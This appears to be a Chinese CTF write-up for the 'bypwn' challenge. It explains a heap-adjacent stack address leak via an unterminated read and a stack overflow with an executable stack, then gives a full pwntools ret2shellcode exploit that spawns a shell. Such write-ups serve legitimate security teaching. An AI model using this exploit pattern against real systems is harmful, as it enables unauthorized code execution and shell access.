赞
踩
已上传网盘,方便复现
链接:https://pan.baidu.com/s/1ceYwALaUJn6TIS2eK9TN8w
提取码:ynzg
没有开启任何保护,这里注意到开启了栈可执行,存在rwx字段,那么之后可以尝试在栈上执行ret2shellcode
使用ida分析程序
在这里可以看到存在堆上内容的泄露
strdup
:strdup()会先用maolloc()配置与参数s 字符串相同的空间大小,然后将参数s 字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。
那么我们将read的0x20字全部填充,在没有字符串结尾的情况下,printf
就会打印出堆块之后地址的内容
main函数中存在栈溢出,没有canary,可以直接覆盖返回地址
直到这里还并不知道该怎么攻击,不过既然有一个内存泄露,就先看看泄露出了什么
利用gdb进行调试
然后意外的发现,紧跟着我们申请的堆块后的被我们泄露出的地址是栈上的地址
继续跟踪发现是rbp的地址
那么既然泄露出了栈地址,又开启了栈可执行,我们就在栈上ret2shellcode了
from pwn import * context(log_level = 'debug', arch = 'amd64', os = 'linux') io = process('./bypwn') # io = remote('node4.buuoj.cn', 27761) elf = ELF('./bypwn') gdb.attach(io) io.recvuntil(b'well you input:\n') io.sendline(b'a' * (0x20 - 4) + b'bbbb') io.recvuntil('bbbb') #调试发现可泄漏地址为rbp rbp = u64(io.recv(6).ljust(8, b'\x00')) print(hex(rbp)) stack = rbp - 0x50 io.recvuntil(b'EASY PWN PWN PWN~\n') shellcode = asm(shellcraft.sh()) shellcode = shellcode.ljust(0x58, b'a') payload = shellcode + p64(stack) io.sendline(payload) io.interactive()
赞
踩
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。